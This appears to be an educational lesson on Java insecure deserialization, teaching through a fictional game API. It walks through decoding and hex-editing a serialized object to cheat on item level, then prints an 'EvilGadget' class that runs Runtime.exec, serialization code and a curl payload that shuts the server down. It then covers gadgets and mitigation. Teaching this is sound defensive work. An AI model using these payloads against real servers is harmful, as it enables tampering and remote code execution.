Insecure deserialization
Improper handling of serialized data containing user input
This lesson is available in Java
What is insecure deserialization?
Serialization is a mechanism to transform application data into a format suitable for transport — a byte stream. Deserialization is the opposite process, converting byte stream into application data. Insecure deserialization is a vulnerability that occurs when attacker-controlled data is deserialized by the server. In the worst case, it can lead to remote code execution.
About this lesson
In this lesson, we will demonstrate an insecure deserialization attack by hacking an API of a video game company. Then, we will dive deeper into Java deserialization, explain the concept of a gadget, and study vulnerable Java code. Finally, we will cover how to mitigate this vulnerability.
But first, let’s hack a video game!
Hacking a web game
"Dungeons and Money" is here! Your long-time favorite game developer, GreedAndCo, has finally finished the multiplayer online game you have been waiting for since childhood. It’s 11:59pm, and you have been furiously restarting the game, hoping for the login screen to appear.
The clock strikes midnight. With excitement at its peak, you press the login button and finally start playing. But something is not right—even a level 1 rabbit is life-threatening. The game relies on microtransactions! You have to pay $10.99 for an epic sword if you want to kill rabbits. You can’t believe this—you’ve already paid big money for the game. Oh well, it’s time to put your hacker’s hat on and fix this injustice!
Wow, this sword really is tiny. But I’m not paying to upgrade. Let’s take a look at the terminal below and see if we can make some modifications.
Understanding the API
You start by sniffing the network traffic the game sends from your machine while you play. A few minutes later, you notice that the game client does an HTTP POST to https://api.dungeonsandmoney.com/state/147983414
with the following payload:
{equipment: “rO0ABXNyACRjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZS5FcXVpcG1lbnQPjNIbPjmvPwIAAVsABWl0ZW1zdAACW0l4cHVyAAJbSU26YCZ26rKlAgAAeHAAAAAFAAAAAAAAAAAAAAABAAAAAAAAAAA=”,location: “rO0ABXNyAA50b29scy5Mb2NhdGlvbmd3vUzXG/c4AgADSQABeEkAAXlJAAF6eHAAAAAKAAAADwAAABg=”,…}
Maybe these long strings are base64 encoded? Let’s take the “equipment” value and verify that!
Copy and paste the following into the terminal and hit enter:
echo rO0ABXNyACRjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZS5FcXVpcG1lbnQPjNIbPjmvPwIAAVsABWl0ZW1zdAACW0l4cHVyAAJbSU26YCZ26rKlAgAAeHAAAAAFAAAAAAAAAAAAAAABAAAAAAAAAAA= | base64 --decode
The output is gibberish, but some of it resembles a Java package and class name. Maybe it is a serialized Java object? Our next step would be to decode the base64 string to a file called equip.ser. This would be done by running this command:
echo rO0ABXNyACRjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZS5FcXVpcG1lbnQPjNIbPjmvPwIAAVsABWl0ZW1zdAACW0l4cHVyAAJbSU26YCZ26rKlAgAAeHAAAAAFAAAAAAAAAAAAAAABAAAAAAAAAAA= | base64 --decode > equip.ser
This will create a file for us that we can use in a bit.
Deserializing Java objects to human-readable format
Now, let’s use a utility from Google: jdeserialize. It prints serialized Java objects in a human-readable form. Remember, we "created" the equip.ser already.
Copy and paste the following into the terminal and hit enter:
java -jar jdeserialize.jar equip.ser
Changing the game state
Bingo!! Our base64 string is a serialized Equipment
class. Looking at the output closely, you will notice that it has a single field of type int[]
items. The last part of the dump ([arraycoll sz 5 0, 0, 1, 0, 0]
) tells us that the value of the items array is [0, 0, 1, 0, 0]
.
Your in-game character currently has only 1 item equipped: a level 1 sword. What do you think will happen if we change the value of the array to [0, 0, 20, 0, 0]
(change 1 to 20). Let’s try that! First, print the serialized object’s content in hex.
Copy and paste the following into the terminal and hit enter:
hexdump equip.ser
Notice that the 7th line is full of 0s except 01
in one column. This seems to be the perfect candidate to change! The 01
is located at the 68th position in the file (you can count that in the hexdump output), so let’s flip it to 0x14
(number 20 in hex). We would do this by running the following command (there would be no output, but instead we would be creating another file called equip.ser):
echo "68:0x14" | xxd -r - equip.ser
Finally, we can base64 encode our changed equip.ser file (the one we just created) and send it to the server. We would do this by running:
base64 equip.ser
This would give us an output of:
rO0ABXNyACRjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZS5FcXVpcG1lbnQPjNIbPjmvPwIAAVsABWl0ZW1zdAACW0l4cHVyAAJbSU26YCZ26rKlAgAAeHAAAAAFAAAAAAAAAAAAAAAUAAAAAAAAAAA=
And we then attach to the API post request with the output of the base64 command.
curl -H "Content-Type: application/json" -X POST -d '{ "equipment": “rO0ABXNyACRjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZS5FcXVpcG1lbnQPjNIbPjmvPwIAAVsABWl0ZW1zdAACW0l4cHVyAAJbSU26YCZ26rKlAgAAeHAAAAAFAAAAAAAAAAAAAAAUAAAAAAAAAAA=” }' https://api.dungeonsandmoney.com/state/147983414
Remote code execution
You log into the game, and boom! Your level 1 sword just got upgraded to level 20. By manipulating serialized data, you managed to change the state of the game.
Now things are looking better! We can take on almost enemy that comes our way. But can we take this one step further. Let’s look at the terminal below to see what we can do!
You’ve heard rumors about the existence of these mythical gadget classes. Apparently, if a Java server has these gadgets on its classpath, it is vulnerable to remote code execution, or so the rumor says.
You Google and find one such class online:
public class EvilGadget implements Serializable { private String command; public EvilGadget(String command) { this.command = command; } private void readObject(ObjectInputStream in) throws Exception { in.defaultReadObject(); Runtime.getRuntime().exec(command); }}
It is part of a trendy Java framework. Maybe Dungeons and Money’s server depends on that framework? Let’s find out! You write the following code to serialize the EvilGadget
class. Note the shutdown
parameter you pass as the command!
public static void main(String[] args) throws IOException { EvilGadget gadget = new EvilGadget("shutdown"); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(gadget); out.close(); String base64Encoded = Base64.getEncoder().encodeToString(baos.toByteArray()); System.out.println(base64Encoded);}
We should get:
rO0ABXNyABFnYWRnZXQuRXZpbEdhZGdldJlTufMW09bEAgABTAAHY29tbWFuZHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAIc2h1dGRvd24=
Now when we run the following, our game will change again:
curl -H "Content-Type: application/json" -X POST -d '{ "equipment": "rO0ABXNyABFnYWRnZXQuRXZpbEdhZGdldJlTufMW09bEAgABTAAHY29tbWFuZHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAIc2h1dGRvd24=" }' https://api.dungeonsandmoney.com/state/147983414
Boom! Your game client crashes, and a gigantic red “Server is down” alert pops up on your screen. The shutdown command must have worked! You’ve just shut down the game server. But how? What is the deal with this “gadget”? Read on to find out!
Uh oh… I think we took it a little too far! The game crashed and we can’t use our epic sword!
State manipulation: a false sense of security
We saw how insecure deserialization can lead to state manipulation and remote code execution in the previous section. State manipulation can happen regardless of serialization being used or not. However, because serialized payloads are more “obscure”, developers tend to assume that serialization somehow protects them against this kind of attack. In reality, it doesn’t matter if payloads are human-readable JSON or obscure binary blobs — if the client can unexpectedly manipulate the state, the whole API needs to be redesigned.
What is a gadget?
A gadget is a piece of code present in the executing application and can be used for malicious purposes. EvilGadget
on its own might not be dangerous. In fact, some real-world gadget classes are part of the JDK itself! However, when such classes are included in a Java program that deserializes user-controlled inputs of arbitrary type, it can lead to a disaster.
Real-world gadgets
In practice, gadget chains are hard to construct but not impossible. Most gadgets come from open source, so the attacker has complete visibility and lots of time to research such chains. Also, Java has this really cool feature called “reflection”, which allows you to dynamically call any classes. This makes things easier. Instead of looking for Runtime.exec
or similar, you can look for gadgets that use user input in reflection APIs and call Runtime.exec
through reflection.
For instance, take a look at this GitHub repository – it contains many real-world examples of exploitable chains, including some which use reflection.
Other serialization frameworks
All examples we included in this lesson use ObjectInputStream
and Serializable
, i.e. the deserialization library built into Java core. But, there are many other serialization frameworks in the Java ecosystem. Some of them work with binary data, but many libraries magically transform YAML, XML, JSON, or other formats into a Java object. Are these frameworks/libraries vulnerable to similar insecure deserialization vulnerabilities? Unfortunately, for a lot of them, the answer is yes.
A critical condition for insecure deserialization is that the hacker can force the server to deserialize objects of any type. The hacker can then send payloads with objects instantiated from gadget classes. So a good rule of thumb when choosing your serialization framework is to check whether it allows the user to deserialize objects of any type or just the types you explicitly configure.
Unfortunately, many frameworks/libraries allow the deserialization of arbitrary types by default. And those that don’t still offer some configuration options to enable the deserialization of arbitrary types. Moritz Bechler provides an excellent analysis of deserialization in different Java libraries in his paper.
Keep learning
To learn more about Insecure Deserialization, check out some other great content:
- The original research on deserialization vulnerabilities by Gabriel Lawrence and Chris Frohoff
- A great blog post on how to exploit insecure deserialization in different Java server-side technologies by Stephen Breen
- A blog post by the maintainer of Jackson which details exploitability conditions for insecure deserialization in Jackson
- A detailed analysis of insecure deserialization in different Java serialization libraries by Moritz Bechler
And some content by Snyk:
- Our blog post on new serialization features introduced in Java 17
- Our earlier blog post which covers a lot of topics covered in this lesson
- Our blog post on deserialization problems with Jackson’s ObjectMapper